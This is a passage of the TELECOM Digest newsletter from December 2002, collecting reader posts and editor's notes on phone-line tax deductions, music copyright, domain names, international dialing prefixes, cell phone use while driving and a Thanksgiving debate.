today. PAT] ------------------------------ From: Dave Garland Subject: Re: Business Line vs Residential Line (in Kentucky) Date: Tue, 03 Dec 2002 21:45:54 -0600 Organization: Wizard Information It was a dark and stormy night when Ed Ellers wrote: > ISTR reading somewhere that you can't even deduct a business line if > it's the only line coming into a residence. A quick google search yields many hits: http://www.bankrate.com/brm/news/biz/tax/20011022a.asp The IRS assumes that you will have a phone in your house anyway, so Zobel cautions that regular fees and charges don't count towards your deduction. But if you have a second line installed and use it only for business, 100 percent of these costs are deductible. http://www.chicagotribune.com/classified/realestate/chi-0202010344feb01,0,993350.story 100 percent of some home-business expenses are deductible. For example, you can deduct all of your home-business telephone expenses. I have never seen any indication that the IRS cares how the phone is listed with the telco, so long as you can reasonably show that it is used for your business and not for personal use. ------------------------------ From: greg.hennessy@cox.net (Greg Hennessy) Subject: Re: Copyright (C) 2000, Me Date: Tue, 3 Dec 2002 23:35:05 +0000 (UTC) Organization: A poorly-installed InterNetNews site Reply-To: greg.hennessy@cox.net In article , Joey Lindstrom wrote: > That final sentence is, alas, incorrect - even though it shouldn't be. > Under current fair use doctrine, it is legal for you to make a copy, > for your own personal use and not to give away or sell or otherwise > distribute, of YOUR OWN legally-purchased CD. It is *NOT* legal for > you to download somebody else's MP3 of a song EVEN IF you do own a > legally-purchased copy of the disc it came on. What court has ruled upon this point? ------------------------------ From: SELLCOM Tech support Subject: Re: Copyright (C) 2000, Me Organization: www.sellcom.com Reply-To: support@sellcom.com Date: Wed, 04 Dec 2002 00:44:04 GMT I'm not sure you realized what you were doing but you have just given the copyright of your name and all of the messages in this thread to Bill Gates because of his registered trademark of Windows ""Me"". Please be prepared to move to Washington state and turn yourself in. - Sorry. Joey Lindstrom posted on that vast internet thingie: > On Mon, 2 Dec 2002 17:16:51 EST, JDS wrote: >> Downloading music isn't necessarily a crime. Under even the most >> limited interpretation of ""fair use"", ownership of a physical >> ""official"" medium gives an unlimited perpetual license to the personal >> enjoyment of its contents. It can be copied to a cassette or an MP3 >> player or ripped onto a computer, to be used in a car, a gym, or at a >> desk. Furthermore, CD ownership confers the right to download >> portions for use at the owner's convenience. > That final sentence is, alas, incorrect - even though it shouldn't be. > Under current fair use doctrine, it is legal for you to make a copy, > for your own personal use and not to give away or sell or otherwise > distribute, of YOUR OWN legally-purchased CD. It is *NOT* legal for > you to download somebody else's MP3 of a song EVEN IF you do own a > legally-purchased copy of the disc it came on. It's a fine distinction > but there's no question that it exists. > I'm just playin' devil's advocate. I agree completely with John > Higdon's views on the RIAA - if they'd give the public what it WANTS, > they'd make money hand over fist. Bottled-water companies make a mint > selling a product that's freely available just about anywhere. > Telling me that I can't download an MP3 version of a song I've already > paid for is just plain ludicrous - nevertheless, they do have that > right. What they CAN do and what they SHOULD do (with that right) are > two different things. > Joey Lindstrom - Laird's Flooring > joey@lairdsflooring.com http://www.sellcom.com Discount multihandset cordless phones by Siemens, Vtech 5.8Ghz EnGenius NEW EP436 4line (the longest range), Panasonic, Twinhead notebooks, WatchGuard firewall, Okidata, Polycom! If you sit at a desk www.ergochair.biz you owe it to yourself. ------------------------------ From: Joey Lindstrom Date: Tue, 03 Dec 2002 14:38:39 -0700 Subject: More Copyright Idiocy Reply-To: joey@lairdsflooring.com Finnish Taxi Drivers To Pay Royalties For Backseat Music Finland's Supreme Court has ruled taxi drivers must pay royalty fees if they play music in their car while a customer is in the backseat. The order even applies to the radio. http://www.ananova.com/news/story/sm_721008.html Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com ------------------------------ From: johnswein@yahoo.com (John Swein) Subject: Carrier Lookup Date: 3 Dec 2002 14:39:46 -0800 Organization: http://groups.google.com/ Is there any way to find the name of a wireless carrier given a phone number? In the US? In the UK? Thanks! ------------------------------ From: John Higdon Subject: Re: RIAA Orders US Navy to Surrender Organization: Green Hills and Cows Date: Tue, 03 Dec 2002 15:30:52 -0800 In article , David Clayton wrote: > For many artists not signed up to major record companies you can > bypass the companies entirely and purchase directly from the artist's > web sites or from independent distributors. > Not a big market yet, but hopefully it will grow and weaken the > fanatical grip the ""majors"" have on recorded music all over the > western world. This is exactly what scares the RIAA the most, and is the reason the organization is desperately trying to eliminate or cripple digital technology. It isn't copying that worries the record companies; it is the ultimate bypass that the web offers to budding artists ... who won't have to turn over the bulk of their earnings to the cigar-smoking gents in the plush offices anymore. If the RIAA revealed the true motivation behind its attack on web-distributed digital technology, the public would tell them where to put it ... and they know it. So instead, they harp on ""copyright infringement"" as the cause celebre, which, as we have seen in this very forum, comes off to many as a righteous quest. But time may be running out. More and more people are waking up to the real intent behind this War on Customers. Many artists are as well. In article , John David Galt wrote: > I agree. And more to the point, as Mariah Carey and others have > pointed out, the actual artists see little or nothing from album > purchases anyway -- the labels take pretty much everything. No less august figure than Billy Joel, on international television, suggested to his audience that they obtain one of his early albums (or at least copies of the songs thereon) ""for free, if possible"" since he would never see another dime from the album. You could have knocked me over with a feather when he said that; it was a very powerful statement. > Thus the moral high ground that the record companies claim to be > arguing from is phony from the get-go. (And quite a few new artists > have taken to distributing their own material on the net rather than > sell their souls to the record companies. Maybe the real purpose of > RIAA's campaign against music-sharing sites is to make it impossible > for artists to compete against them in this way.) Do you really think, maybe??? Give that man a cigar! John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 [TELECOM Digest Editor's Note: Well, we have known for for quite a while now that this invention of Tim Berners-Lee would quite literally turn the world upside down. And, it has indeed done that. Its just too damn bad when he released the software code for 'the web' he did not tighten up the rules quite extensively. But then, back in the late 1980's and through the middle 1990's we were all sort of innocent weren't we? Tim B-L obviously had no desire to be known or thought of as a Hitler or some other dictator -- none of us did, but some of us chanced it a little to protect our products -- but just think of the entirely different net we would have today if the ground rules had been different. PAT] ------------------------------ From: AES/newspost Subject: What *is* a ""Domain Name""? Date: Tue, 03 Dec 2002 15:39:41 -0800 Subject line gives the basic question: What is a ""domain name""? -- as a practical matter and also legally and for intellectual property purposes? For example: Is a domain name a domain name only if it's registered? Are all domain names registered? If it's not registered, is it not a domain name? Can intranets have ""effective internal domain names"" that are not ""real Internet-wide domain names""? Must you register a domain name to get it into domain name servers all around the internet? Are a domain name and a URL equivalent? In some URL like http://www.xxx.yyy.org/more.stuff/still.more.stuff"" where ""www.xxx.yyy.org "" has been properly registered, is the domain name only the part up to the ""org""? -- or more generally, does the domain name extend only up to the first single slash in any URL? Is any remaining stuff within successive slashes more properly referred to as a ""page"", within a ""web site"" or ""domain""? Do all domain names start with ""www""? Do they all have to end with a final "".xxx"" that comes from a certain fixed list of terms, e.g. "".org"", "".com"", or ""dot some country code""? My university (www.stanford.edu) seems to set up a lot of sites -- or pages? -- that have a syntax like ""xxxx.stanford.edu"", e.g. ""bookstore.stanford.edu"", ""library.stanford.edu"", etc. Do these have to be individually registered? Or can anyone who has a domain ""www.yyy.zzz"" automatically add things like ""newstuff.yyy.zzz""? (Or is this maybe something Stanford is doing within its internal domain, and it's not visible to the outside world?) How far into this whole mess do intellectual property rights -- trademarks, copyrights -- extend? Do trademark and copyright concerns extend with equal force to an entire URL? Or only the domain name part of a URL? And I suppose what I might have asked first of all: Are there some good URLs -- or domains! -- where one can get understandable info on queries like these? ""Power tends to corrupt. Absolute power corrupts absolutely."" Lord Acton (1834-1902) ""Dependence on advertising tends to corrupt. Total dependence on advertising corrupts totally."" (today's equivalent) ------------------------------ From: J Kelly Subject: Re: Debit Cards Date: Tue, 03 Dec 2002 18:54:07 -0600 Organization: http://extra.newsguy.com On Sun, 1 Dec 2002 02:14:09 -0500 (EST), editor@telecom-digest.org wrote: >> [TELECOM Digest Editor's Note: One slight correction in what you say, >> regards debit cards. The merchant does not get his money, nor does the >> money come out of the card holder's account at the time approval is >> given, but rather, when the *actual document* or magnetic tape entry >> reaches the bank. If this is true, why can I buy something on my debit card, then 5 minutes later log into online banking and see the transaction on my account and that the money has been debited? [TELECOM Digest Editor's Note: Because your bank places a hold on the funds. PAT] ------------------------------ From: mikev@datagenics.com (Mike Vandemore) Subject: Allegiance Telecom - Los Angeles ... Date: 3 Dec 2002 17:38:18 -0800 Organization: http://groups.google.com/ Anyone have a recent experiences with Allegiance Telecom in general and the Los Angeles (North Hollywood) area in particular. Their pricing is very attractive and we are considering rolling voice / data into one T1 connection to get more internet bandwidth and save a few bucks. I saw some negative comments when I searched cdt newgroup history but then again who posts when everything is working great? Any comments would be appreciated. ------------------------------ Subject: Re: Last of the Ravings Organization: Not Much From: editor@telecom-digest.org (TELECOM Digest Editor) Date: Wed, 04 Dec 2002 00:00:00 EST This entire thread has been OT, but it has been fun to say the least. Either this query of mine will bring an end to the Ravings or else it will start them up again. > In article , Gary Novosielski > wrote: >> [PAT] wrote: >>> Pope Gregory declared that henceforth the more modern Anglicized >>> Easter holiday would be celebrated by the church (after all, why should >>> the pagans get all the fun?) as a religious day, and that it would in >>> fact be celebrated at Mass on the first Sunday following the New Moon >>> in the Spring Equinox or Solstice, meaning it will always happen >>> between March 22 and April 15, which was about when Goddess Oeaster >>> would appear each year centuries before. >> I think you'll find that Easter falls on the first Sunday following the >> first *FULL* moon (not new moon) after the Spring equinox. > More-or-less correct, *EXCEPT* that the actual phase of the the satellite > orbiting the Earth has _NOTHING_ to do with it. ... > ""Way back when"", somebody in the Church did a set of calculation of > when the Full Moon 'should' occur. Those calculations remain the > *official* means of determining when any/all of the ""movable feasts"", > of which Easter is the best known, occur. The 'gotcha' is that those > calculations _do_not_ precisely match the real world. > The gory details of the mechanics: (deleted) > This is a modified form -- established by Vitorius of Aquitania in 457 > A.D. at the request of the then Pope -- of the methodology first > established by the Observatory at Alexandria, in accord with the > declarations of the Council of Nicea, in 325 A.D. Which was called, > among other reasons, to 'reconcile' several *different* and > incompatable methodologies used by various factions of the Church. > The tables were modified in 1582, when Pope Gregory XIII 'corrected' > the Julian Calendar. ""Everything"" was moved by 10 days, to bring the > Equinox back to March 21. *BUT* it was determined that Easter was 3 > days off, and thus the correction for Easter was only _7_ days. Please correct me if I am wrong, but I thought the one main purpose of the Council of Nicea (which brought together the bishops of the church) under Pope Saint Sylvester in 325 AD was to test the canonicity of the scriptures, in the format they were known at the time, and to ultimatly close the Canon against further rewrites, etc. I know there was much discussion about what was to be considered apocryphal in nature, and what was to be considered ""God's Word"". (What we are talking about is 'when was the Bible considered written?') I thought that was the purpose of Nicea, to establish that the Bible was 'written' in its present structure, and the Canon closed against any further rewrites in 325 AD, when the finished work had been debated sufficiently and handed over to Pope Saint Sylvester. I did not know the council had all that other administrivia in the process. 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Townson Re: Number Read Back Service (dold@72.usenet.us.com) Re: Cell Phone Dialing, was 011+ From NANP vs. 00+ (Ed Ellers) Re: Cell Phone Dialing, was 011+ From NANP vs. 00+ (John R. Levine) Re: Cell Phone Dialing, was 011+ From NANP vs. 00+ (Joseph) Can We Measure Efficiency in SMS Protocols/Implementations? (A. Horowitz) Telemarketer Counter Script... (Darryl Smith) Re: What *is* a ""Domain Name""? (Robert Bonomi) Re: 011+ From NANP vs. 00+ From Most of World (Phil McKerracher) Re: Cellular Calls and Other Distractions While Driving (Robert Cywinski) Thanksgiving (Joey Lindstrom) Re: Needed Feature For Answering Machine? (Aaron Epstein) Re: Step by Steppin' (Jim Haynes) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: dold@72.usenet.us.com Subject: Re: Number Read Back Service Date: Wed, 4 Dec 2002 05:18:18 UTC Organization: a2i network Manny Olds wrote: > I just call my own cell phone when I want to find that out. It has caller > ID enabled as part of the service. Is there some reason that won't work > for calls out of your comm room? Two reasons: The cell phone doesn't work in that location. Lines that don't present CID for various reasons, always present ANI. Maybe not the ANI you want, but an ANI. John Higdon wrote: > Just to be clear, I'm not withholding the number to be a pill. It is > just that I lack the resources the subsidize a public number readback I didn't mean you were being ""cheap"". There's a reason why all of those readback numbers keep getting shut off. Even if that 800 number terminates on your switch via direct access, it still costs some not-inconsequential amount per call, especially if you don't have payphones blocked. I miss the ANI-800 that I used to have, and I only ""shared"" that number with one person from this group. Clarence A Dold - dold@email.rahul.net - Hidden Valley (Lake County) CA. [TELECOM Digest Editor's Note: It is almost impossible -- for I think what should be obvious reasons -- to print an 800 number in this Digest for people to use. Considering my own posture for example on spammers and toll free numbers, I'd be a fool to print my own 800 number here, as would John or most anyone else. PAT] ------------------------------ From: Ed Ellers Subject: Re: Cell Phone Dialing, was 011+ From NANP vs. 00+ Date: Wed, 4 Dec 2002 02:40:19 -0500 John R. Levine wrote: > GSM phones have a plus button that let you do consistent worldwide > dialing, but North American AMPS, TDMA, and CDMA phones don't. The conventional GSM phones I've seen do + by having you hold down the 0 key until the + appears. PAT, the TELECOM Digest editor, replied: > No John, I am certain the Nokia 5165 allows seven digit dialing to > what it considers its 'home area code'. I expect it would. Another ""phone"" that does is the Handspring VisorPhone, and I suspect the Treo communicators do as well. My old Mitsubishi G75 had a feature to prepend your preferred area code, but you have to turn it off manually to dial neither outside your NPA or a vertical service code such as 611 (502611 doesn't work worth squat :-). ------------------------------ Date: 4 Dec 2002 11:20:18 -0500 From: johnl@iecc.com (John R. Levine) Subject: Re: Cell Phone Dialing, was 011+ From NANP vs. 00+ Organization: I.E.C.C., Trumansburg NY USA > [TELECOM Digest Editor's Note: Begging pardon ... when I got my > *first* Nokia 5165 I was staying in Chicago, IL during the absolutely > horrid winter of 2000-01. Mike Sandman got it turned on for me, in > his suburban town located in area *630* for Roselle, IL. I wasn't clear -- home cellular system, not home area code. Most of my home cell system is in ac 315 although I'm in 607, and seven digit dialing to 607 works on the whole area. > It got Mike okay *as speed dialed from the memory of the > phone* (seven digits). Most peculiar. Mine doesn't do that. > AT&T has their phones locked up with firmware inside. We cannot > convert them to Cingular. She's right. Cingular phones don't work on AT&T either, different software. They're all programmed to use their preferred carrier if possible, even if there's a stronger signal from someone else. > No John, I am certain the Nokia 5165 allows seven digit dialing to > what it considers its 'home area code'. Honest, mine doesn't. Maybe it's AT&T software. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: Joseph Subject: Re: Cell Phone Dialing, was 011+ From NANP vs. 00+ Date: Wed, 04 Dec 2002 14:56:30 -0800 Organization: Posted via Supernews, http://www.supernews.com Reply-To: joeofseattle@yahoo.com On 3 Dec 2002 21:40:02 -0500, johnl@iecc.com (John R. Levine) wrote: >> I can dial +12063549999, 12063549999, 2063549999 or 3549999 and all >> will work. >> [TELECOM Digest Editor's Note: My Nokia 5165 phone does the same >> thing; dial only seven digits and the phone defaults to ten full >> digits. That's only the software in the phone doing that. > No, that's the cell carrier's switch interpreting 7D numbers as being > in your own area code, just like POTS switches do. I also have a 5165 > with service from Cingular, and although 7D calls work fine when I'm > on my home system, they don't work when roaming. The phone just sends > the digits you dial or that are retrieve from the phone book. I'm not sure whether this is a GSM ""thing"" or not, but I can be in Amsterdam with my SIM from my US T-Mobile account and put the SIM into a GSM 900/1800 phone and dial just seven digits and the call will complete to a local number in Seattle as if I was back in Seattle, Washington in the US. This seems to contradict that it is the ""phone"" that is storing the ability to do my local dialing procedure. I can also while overseas use ""local rules"" to dial local numbers there e.g. in Amsterdam I can dial 020-31 NX NXXXXX and calls will complete or I can always use the +31NX NXXXXXX to dial. Replies are seldom read. Please reply in the group ------------------------------ From: alanh_27@yahoo.com (Alan Horowitz) Subject: Can We Measure ""efficiency"" in SMS Protocols/Implementations? Date: 4 Dec 2002 02:45:22 -0800 Organization: http://groups.google.com/ I guess you folks in North America view SMS as a dog, in Dr. Johnson's words, that is walking on its rear legs: it's so amusing, so not-part-of-the-main-gig of voice service of mobile comms, that we don't bother critically judging it. That is not true out here where the rubber meets the road of Asia. That includes places like Singapore that are nicer to live in, than North America; and places that are shit-hole Third World. First: how do we define ""efficiency in useage of scarce resources"" of SMS implementations? Bandwidth, transmit power (some sites need to be solar/windmill-powered), fone-battery power, time that a channel is tied up, etc. Second: where to read up on the issues? Third: who *is* the ""most"" efficient? specify your metric. ------------------------------ From: Darryl Smith Subject: Telemarketer Counter Script Date: Wed, 4 Dec 2002 23:13:16 +1100 Pat, Have a read of it. It is REALLY good Darryl Smith, VK2TDS POBox 169 Ingleburn NSW 2565 Australia Mobile Number 0412 929 634 [+61 4 12 929 634 International] Darryl@radio-active.net.au | www.radio-active.net.au To: Applix List Subject: APPLIX-L Bothered by tele-marketers? Summary: they work from a script, so here's how you can de-rail them: http://www.xs4all.nl/~egbg/counterscript.html I practically fell out of my chair when I got to the toothpaste question! Dave Applix 1616 mailing list Applix-L@object-craft.com.au https://www.object-craft.com.au/cgi-bin/mailman/listinfo/applix-l ------------------------------ Subject: Re: What *is* a ""Domain Name""? Organization: Not Much From: bonomi@c-ns (Robert Bonomi) Date: Wed, 04 Dec 2002 12:33:00 GMT In article , AES/newspost wrote: > Subject line gives the basic question: What is a ""domain name""? -- as > a practical matter and also legally and for intellectual property > purposes? A 'domain name' is something that can be looked up via 'DNS', the ""Domain Name Service"". > For example: > Is a domain name a domain name only if it's registered? If DNS admits it exists, it is a domain name. If not, it's not. > Are all domain names registered? At a minimum, it must be registered/recorded with the local DNS server. > If it's not registered, is it not a domain name? If DNS doesn't know about it, it's not usable. > Can intranets have ""effective internal domain names"" that are > not ""real Internet-wide domain names""? Absolutely, although it is a BAD IDEA(tm) > Must you register a domain name to get it into domain name servers all > around the internet? Yes. > Are a domain name and a URL equivalent? NO. Some types of URL _may_ contain a domain-name as part of the locater. > In some URL like > http://www.xxx.yyy.org/more.stuff/still.more.stuff"" > where ""www.xxx.yyy.org "" has been properly registered, is the domain > name only the part up to the ""org""? -- or more generally, does the > domain name extend only up to the first single slash in any URL? NO. Format of the 'rest' of the URL depends *entirely* on the 'protocol' used. which may, or may not, include a domain name, either as part of a hostname, or otherwise. > Is any remaining stuff within successive slashes more properly referred > to as a ""page"", within a ""web site"" or ""domain""? NO. everything after the ':' is the ""path"" to the resource. How the path is interpreted is dependant -totally- on the 'protocol' specified in the URL. > Do all domain names start with ""www""? no. > Do they all have to end with a final "".xxx"" that comes from a certain > fixed list of terms, e.g. "".org"", "".com"", or ""dot some country code""? All _publicly_recognized_ domain names are part of a hierarchical system consisting of a LIMITED SET of 'top level domains'. There are, currently, 9 TLDs recognized, above and beyond the two-letter 'national', or 'country code' domains.' > My university (www.stanford.edu) seems to set up a lot of sites -- or > pages? -- that have a syntax like ""xxxx.stanford.edu"", e.g. > ""bookstore.stanford.edu"", ""library.stanford.edu"", etc. Do these have to > be individually registered? Or can anyone who has a domain > ""www.yyy.zzz"" automatically add things like ""newstuff.yyy.zzz""? (Or is > this maybe something Stanford is doing within its internal domain, and > it's not visible to the outside world?) Posession of a domain (name) allows one to create _anything_ that falls _under_/_below_ that domain. If you 'own' ""foo.bar"", you can create ""www.foo.bar"", ""baz.foo.bar"", ""info.foo.bar"", etc., ad nauseum. All that is necessary is to put that information into _your_ DNS server -- the one the public consults to find out about 'anything' in the 'foo.bar' domain. > How far into this whole mess do intellectual property rights -- > trademarks, copyrights -- extend? Do trademark > and copyright concerns extend with equal force to an entire URL? Or > only the domain name part of a URL? A URL is -not- copyrightable. Does not meet the 'creative effort' requirement. A domain name is -not- copyrightable. Too 'small' to be considered a 'work'. Trademark _can_ apply to a domain name. Depends on the name. In some cases, there *might* be a trademark issue with regard to other elements of a URL 'path'. > And I suppose what I might have asked first of all: Are there some >good URLs -- or domains! -- where one can get understandable info > on queries like these? For domain names, You can find the gory 'mechanical' details in the documents that define the DNS system. RFC 1034, RFC 1035, RFC 1101, RFC 1591. direct pointer to non-technical discussion: For URLs, what they mean, how to contstruct/interpret, etc. see RFC 1736, RFC 1737, RFC 1738, RFC 1808, RFC 2368, RFC 2396 ALL existent RFCs are available at ------------------------------ From: phil@mckerracher.org (Phil McKerracher) Subject: Re: 011+ From NANP vs. 00+ From Most of World Date: 4 Dec 2002 04:32:40 -0800 Organization: http://groups.google.com/ Mark J Cuccia wrote in message news:: > ....Should the US/Canada (NANP) adopt 00+ for (sent-paid) IDDD (alongside > 011+) _JUST_ to ""conform"" to Europe (and most rest of the world) ????? > Absolutely _NOT_, and here's why ... > ...""The decision of which prefix to employ for [station-sent-paid] direct > dialing and which to use for operator-assisted dialing was based on > minimizing mis-dialing...[long rant snipped] A complete red herring, in my opinion. The chances of accidentally reaching a valid international number and incurring significant cost as a result of a ""bouncing zero"" or other misdial are tiny. > ...WHY SHOULD _WE_ change? I'm not asking Europe or other parts of the > World to change to NANP procedures, but WHY MAKE US change or modify > anything?... Typical American xenophobia, if I may say so. > Europeans (and other 00+ contries) visiting the NANP are not going to be > calling back home with 011+ anyhow... This claim is frankly ludicrous. From experience, using 011+ is the *usual* situation. Most such calls are made from hotel rooms or mobile phones (at extortionate expense) because it's convenient and private and the calls are only short or are paid for by the company. Or, in the American branch office of a company they are made from a colleague's phone. Only frequent travellers and heavy callers bother with calling cards and the like. > ... MOST of the [American] public really does NOT make calls > outside of the NANP... True, but that's no excuse for making things hard for travellers. And of course, it means that a change to the IDD code would not bother most Americans. > ...Europeans are more likely to place calls between countries... True, which is why we have sorted out our IDD and regard ""fortress America"" with such amusement! > ...ALL LD carriers or telcos, PBXes, cellulars, etc. for > ""non-restricted-against-Intl"" customers, would have to load their > switches with 00+ as an IDDD access alternative... Tricky, I admit! :-) Phil McKerracher www.mckerracher.org ------------------------------ Subject: Cellular Calls and Other Distractions While Driving Date: Wed, 4 Dec 2002 09:41:07 -0500 From: Cywinski, Robert There isn't much, if any, hoopla about people eating or smoking while driving. Although these two activities don't require much thought. Has there ever been a study about that? It is not likely that a person will put down a cell phone while negotiating a turn or backing out of a parking space. Personally, I do. I politely say ""hang on a minute"" and toss the phone on the passenger seat. Last week I was nearly run down in a parking lot by a person who had just backed out of a space and had the phone in one hand and was attempting to complete the turn with the other. Unfortunately, we can't have laws for people with no common sense and that's what it comes down to. I find it disturbing that someone did a study to find that the benefit of saved lives due to the availability of cell phones outweighs the death and destruction caused by people on the phone. Although I might agree that a fine of $500 or so for causing an accident because of a cell phone is justified, would this really deter usage? I think not. But, who knows? The law says we have to wear seat belts and I don't agree with that. It is a common sense decision for me to do so to protect myself. A police officer can stop and cite me for not having it on. However, not wearing it does not affect my driving. So should there be a law about the cell phones? I think this would fall under ""reckless driving"" because that's what it is. Let the cellular community balk about that. Phil Earnhardt wrote about: Re: Study: Car Call Value Equals Crash Cost On Mon, 2 Dec 2002 01:05:55 -0500, Monty Solomon wrote: > Opponents of banning cell phone usage by drivers have cited studies > that showed the benefit of car calls outweighed the toll from such > accidents _ medical bills and property damage, for example. That's interesting. Since cell phone users derive this alleged economic benefit from using their phones while driving, would they be willing to bear the economic burden of increased accidents on the road allegedly caused by those phones? Would cell phone users be willing to pay a $500 fee if they were using their cell phone at the time of an accident? How about a flat fee for each activated cell phone in the US? How about a a per-minute usage charge? Or maybe charging users whenever their connection is handed off to a new cell -- when they're moving? No matter what system would be chosen. I'm certain the cellular community would balk at any such charges. ------------------------------ From: Joey Lindstrom Date: Wed, 04 Dec 2002 10:41:16 -0700 Subject: Thanksgiving Reply-To: joey@lairdsflooring.com On Tue, 3 Dec 2002 15:36:57 EST, editor@telecom-digest.org wrote: > Regards wags and British Thanksgiving and Fourth of July, I guess you > know what certain Indian tribes in the USA call 'Thanksgiving Day'. > They refer to it, quite appropriatly, as 'The Day of Mourning', along > with Christopher Columbus as a devil. I mean, if visitors came to your > home (land), you shared your dinner and possessions with them to be > their friends, and they repaid you by killing your relatives and those > of you that were allowed to live had all your land stolen and you were > moved onto tiny, filthy substandard 'reservations' would you like that > turn of events? 'Columbus Day' in the USA should rightly be termed > the day that Europeans created a new level of arrogance when they > landed on these shores. Y'know, some of us don't subscribe to all of this white-bashing. As for the reservations, well, I can't speak for any US reservations, but there's a few around here -- in fact, the city of Calgary borders onto the T'suu T'ina Nation (formerly known as the Sarcee Reserve), and there's several others within a few hours' drive. Now, the whole idea behind reservations was to allow natives to continue living the way they had in the past. Any native who wished to do so COULD DO SO -- the land is excellent, wildlife is abundant. And none of them do. Yeah, ok, so it's our presence so close by that ""corrupts"" them. That must be it. Actually, the problem is that our government, in its compassion, pays all natives to live on the reserve -- and pays them quite well, in fact, to the point where many (not all of course) have pretty much lost much of their desire to work, either ""for a living"" in the white man's world or to work the land on the reservation. Why bother? The government cheque comes every month, and you can buy what you need -- including alcohol. The T'suu T'ina Nation is a ""dry"" reserve, yet has one of the highest alcoholism rates in the world. I am not going to apologize for Christopher Columbus or any acts perpetrated against the native population in the past. The only thing I or you or anyone can do is deal with the present and the future. We're HERE now. We're not going to pack up 300+ million ""non-natives"" from the US and Canada and move 'em all back to Europe, leaving the continent to the natives. No, that's not going to happen. The United States is (was?) the great ""melting pot"". We do our greatest kindness to natives by allowing them (their choice) the opportunity to join our society and prosper within it, or by allowing them to stay on their reserves and carve out a life there WITHOUT ASSISTANCE OR INTERFERENCE from the rest of us. > And its not like Thanksgiving Day even means everyone in America is > 'thankful'. I do volunteer work for Salvation Army of Independence/ > Montgomery County, and we *attempted* to see to it that everyone got a > good dinner last Thursday, in cooperation with the Food Basket, one > of our local charities. My kettle is located outside Marvin's Grocery > Store on 10th and Myrtle Streets. I was standing there with my bell > on Friday night. A woman came by and said ""I gave money on Wednesday"". > I said to her ""I am still standing here tonight, I guess you did not > give enough."" She gave me a sort of funny look, got in her purse and > found a couple more dimes to put in the pot. I thanked her for her > generosity, and she walked inside the store. PAT] Sorry Pat, but I'd have laughed in your face and walked past you. Let me ask you this: since she had already indicated to you that she had given money on Wednesday, what gave you the right to question the size of her donation? Did you first examine her financial records to determine what size of gift would be appropriate? Did you even find out how much money she HAD already given on Wednesday? Pat, nobody likes to be shamed into charity, and I for one have a strict policy: if any charity tries to SHAME me into giving, they don't get a dime from me. Those that stay away from that tactic, get my donations. Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com [TELECOM Digest Editor's Note: Your fourth paragraph tells where things are really at with you: 'Not going to apologize for Chris Columbus and others in that era.' Do you feel it has now been so long ago, everyone should just forget about it? I mean, the Europeans (of that day) just moved in and took over. The ancestors of the Europeans of that day are now referred to as Americans of course, but one thing continues to live on; their arrogance and feelings of superiority. In speaking with that lady, SHE initiated the conversation, ""I gave money on Wednesday."" I merely continued the conversation; I did not 'shame' her into giving more, nor did I question or ask the amount she had given. She could have initially walked on past (many folks do just that) or upon my response she could have resumed walking. I know nothing about what she had or had not given on 'Wednesday'. I was only attempting to speak in the context of the sign on my collection bucket: 'need knows no season'. Oddly, I have found 'my' most generous givers are the old bag ladies and the men who appear to be 'bums' and down on their luck. They'll take wads of bills and put them in the pot, and then apologize they can't do better ... :( Three or four of the guys who haul groceries out to the cars in the parking lot for shoppers at Marvins treat me very well; in addition to bringing me cups of coffee or sandwiches from the deli at Marvins, two or three times per night they will come past and drop loose change in the pot. I found out last night why they were doing that. Apparently the local store management reimburses the kids who chose to give their tip money (from shoppers) to the pot, or some part of the tip money. I guess also that as long as we are there (until December 24) the store management told the deli workers to provide us with food to eat. But I dunno ... it is getting *very cold* at night out there, and we had about three inches of snow today. PAT] ------------------------------ From: aaronep@pacbell.net (Aaron Epstein) Subject: Re: Needed Feature For Answering Machine? Date: 4 Dec 2002 10:05:15 -0800 Organization: http://groups.google.com/ Thank you to all who took time to answer my query. I did try the posted the suggestiions as to punching in star and pound on the phone dial, but none of the suggestions worked. I'll therefore repeat the question: does anyone know of a specific phone answering machine that has the specific feature I posted? Best, Aaron ------------------------------ Subject: Re: Step by Steppin' Reply-To: jhaynes@alumni.uark.edu Organization: University of Arkansas Alumni From: haynes@alumni.uark.edu (Jim Haynes) Date: Wed, 04 Dec 2002 18:28:11 GMT By the way, telecom history buffs might enjoy a Yahoo group I recently discovered: http://groups.yahoo.com/group/strowger The membership seems to be chiefly English; and apparently there are surplus stores there where hobbyists can pick up pieces of old telephone equipment and build SxS exchanges for their own amusement. ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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End of TELECOM Digest V22 #165 ****************************** >From editor@telecom-digest.org Wed Dec 4 22:54:27 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gB53sR102517; Wed, 4 Dec 2002 22:54:27 -0500 (EST) Date: Wed, 4 Dec 2002 22:54:27 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212050354.gB53sR102517@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #166 TELECOM Digest Wed, 4 Dec 2002 22:54:00 EST Volume 22 : Issue 166 Inside This Issue: Editor: Patrick A. Townson Re: Carrier Lookup (Robert Woolley) Re: Carrier Lookup (tonypo1@cox.net) Re: Carrier Lookup (Joseph) Re: What *is* a Domain Name? (JDS) Number Read Back Service (No Spam) Vivokit Demo Campaign in mySql Database 